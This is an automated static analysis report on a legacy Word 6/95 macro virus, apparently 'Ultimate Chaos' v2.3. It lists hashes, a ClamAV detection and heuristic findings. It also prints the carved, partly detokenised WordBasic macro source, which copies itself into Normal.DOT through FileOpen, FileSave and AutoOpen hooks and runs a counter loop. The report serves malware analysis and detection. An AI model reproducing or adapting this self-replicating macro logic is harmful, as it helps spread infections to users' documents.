Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d2b800c7af7829b6…

MALICIOUS

Office (OLE)

9.0 KB First seen: 2012-06-14
MD5: 4670ed2550550fe9efb7b2a573628096 SHA-1: dc37807ab02d2d11b3afff5de8d457b04a30e5f0 SHA-256: d2b800c7af7829b623a3859243b11488fb1c758c8668e7b7a3f6e808f2d57e67
102 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample exhibits characteristics of a legacy macro virus, specifically identified by 'RSN MACRO VIRUS' markers within its document body and heuristic firings. While no specific second-stage payload is directly observable, the presence of these markers and the ClamAV detection as 'Win.Trojan.Temple-3' strongly suggests the file's purpose is to execute malicious code, likely for downloading or dropping additional malware. The document body contains numerous embedded strings and references that are typical of older macro viruses.

Heuristics 3

  • ClamAV: Win.Trojan.Temple-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Temple-3
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Recovered legacy WordBasic macro source info OLE_LEGACY_WORDBASIC_MACRO_SOURCE
    The Word 6.0/95 document stores tokenised WordBasic macros in the WordDocument stream rather than as a modern VBA project, so VBA source extraction cannot see them. The macro source was detokenised and carved so its identifiers, string literals (file paths, URLs, registry keys, message text) and comments are available for review and signature scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
wordbasic_macros.txt wordbasic-macro analyzer.wordbasic (detokenised Word 6/95 WordBasic macro source) 3014 bytes
SHA-256: d704a4f2fca70559d9280d5ab24f854cd09a1570f571538f7c30cf25e2844952
Preview script
First 1,000 lines of the extracted script
= = = 20325     @cmd6420     29793 = 21349      
    29793 = = = = =
MAIN
@cmd809e
, - * Error_Handler
REM *********************************
REM * -x        UlTiMaTe         x- *
REM * CCCCC H   H AAAAA OOOOO SSSSS *
REM * C     H   H A   A O   O S     *
REM * C     HHHHH AAAAA O   O SSSSS *
REM * C     H   H A   A O   O     S *
REM * CCCCC H   H A   A OOOOO SSSSS *
REM * -x  v2.3 - 1st June, 1996  x- *
REM *********************************
dlg @cmd0050
dlg
dlg
@cmd0050 dlg
@cmd0054 = 1
@cmd80c2 "Normal.DOT:FileOpen" , @cmd8025 = ":TempFileOpen"
@cmd80c2 "Normal.DOT:FileSave" , @cmd8025 = ":TempFileSave"
@cmd80c2 "Normal.DOT:AutoExec" , @cmd8025 = ":TempAutoExec"
@cmd80c2 "Normal.DOT:TempAutoOpen" , @cmd8025 = ":AutoOpen"
@cmd0053
* Finished
29285
Err
24
102
@cmd802c
"Unexpected error!  Error code -" Err
MAIN
@cmd809e
, - * Error_Handler
REM *********************************
REM * -x        UlTiMaTe         x- *
REM * CCCCC H   H AAAAA OOOOO SSSSS *
REM * C     H   H A   A O   O S     *
REM * C     HHHHH AAAAA O   O SSSSS *
REM * C     H   H A   A O   O     S *
REM * CCCCC H   H A   A OOOOO SSSSS *
REM * -x  v2.3 - 1st June, 1996  x- *
REM *********************************
@cmd800f @cmd8025 , "Document" = 0
@cmd0053
dlg @cmd0054
dlg
dlg
@cmd0054 dlg
@cmd0054 = 1
@cmd80c2 "Normal.DOT:FileOpen" , @cmd8025 = ":TempFileOpen"
@cmd80c2 "Normal.DOT:FileSave" , @cmd8025 = ":TempFileSave"
@cmd80c2 "Normal.DOT:AutoExec" , @cmd8025 = ":TempAutoExec"
@cmd80c2 "Normal.DOT:TempAutoOpen" , @cmd8025 = ":AutoOpen"
@cmd0053
* Finished
29285
Err
102
@cmd802c
"Unexpected error!  Error code -" Err
MAIN
, - * Error_Handler
REM *********************************
REM * -x        UlTiMaTe         x- *
REM * CCCCC H   H AAAAA OOOOO SSSSS *
REM * C     H   H A   A O   O S     *
REM * C     HHHHH AAAAA O   O SSSSS *
REM * C     H   H A   A O   O     S *
REM * CCCCC H   H A   A OOOOO SSSSS *
REM * -x  v2.3 - 1st June, 1996  x- *
REM *********************************
timer = 10
"c:\count.txt" 1
1 , count
1
count = count = 1
count 10 count = 1
"c:\count.txt" 1
1 , count
1
count timer = @cmd8002 count timer
count "/" timer
a = 1 10000
a
@cmd802c
* Loop
count "/" timer
a = 1 10000
a
* Finished
29285
Err
53
count = 1
"c:\count.txt" 1
1 , count
1
count "/" timer
a = 1 10000
a
@cmd802c
"Unexpected error!  Error code -" Err
MAIN
@cmd809e
, - * Error_Handler
REM *********************************
REM * -x        UlTiMaTe         x- *
REM * CCCCC H   H AAAAA OOOOO SSSSS *
REM * C     H   H A   A O   O S     *
REM * C     HHHHH AAAAA O   O SSSSS *
REM * C     H   H A   A O   O     S *
REM * CCCCC H   H A   A OOOOO SSSSS *
REM * -x  v2.3 - 1st June, 1996  x- *
REM *********************************
@cmd80c2 @cmd8025 = ":TempFileOpen" , "Normal.DOT:FileOpen"
@cmd80c2 @cmd8025 = ":TempFileSave" , "Normal.DOT:FileSave"
@cmd80c2 @cmd8025 = ":TempAutoExec" , "Normal.DOT:AutoExec"
@cmd80c2 @cmd8025 = ":AutoOpen" , "Normal.DOT:TempAutoOpen"
* Finished
29285
Err
24
@cmd802c
"Unexpected error!  Error code -" Err

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